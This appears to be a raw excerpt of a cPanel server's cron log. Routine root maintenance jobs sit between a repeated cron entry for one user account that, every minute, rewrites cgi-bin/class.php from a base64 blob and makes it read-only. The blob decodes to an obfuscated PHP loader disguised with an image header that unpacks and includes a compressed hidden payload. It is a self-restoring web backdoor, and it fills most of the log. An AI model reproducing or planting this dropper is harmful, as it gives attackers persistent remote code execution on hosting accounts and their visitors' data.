0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:36:01 server CROND[24560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:36:01 server CROND[24561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:36:01 server CROND[24559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:37:01 server CROND[24920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:37:01 server CROND[24921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:37:01 server CROND[24922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:38:01 server CROND[25300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:38:01 server CROND[25301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:38:01 server CROND[25302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:39:01 server CROND[25768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:39:01 server CROND[25769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:39:01 server CROND[25770]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 16:39:01 server CROND[25773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:40:01 server CROND[26210]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:40:01 server CROND[26211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:40:01 server CROND[26215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:40:01 server CROND[26216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:40:01 server CROND[26219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:40:01 server CROND[26212]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:40:01 server CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:40:01 server CROND[26213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:41:01 server CROND[27150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:41:01 server CROND[27151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:41:01 server CROND[27152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:42:01 server CROND[27536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:42:01 server CROND[27537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:42:01 server CROND[27539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:42:01 server CROND[27538]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:43:01 server CROND[27914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:43:01 server CROND[27913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:43:01 server CROND[27915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:44:01 server CROND[28380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:44:01 server CROND[28381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:44:01 server CROND[28382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:45:01 server CROND[28809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:45:01 server CROND[28810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:45:01 server CROND[28812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:45:01 server CROND[28814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:45:01 server CROND[28815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:45:01 server CROND[28816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:45:01 server CROND[28817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:46:02 server CROND[29624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:46:02 server CROND[29625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:46:02 server CROND[29626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:47:01 server CROND[29992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:47:01 server CROND[29994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:47:01 server CROND[29993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:48:01 server CROND[30376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
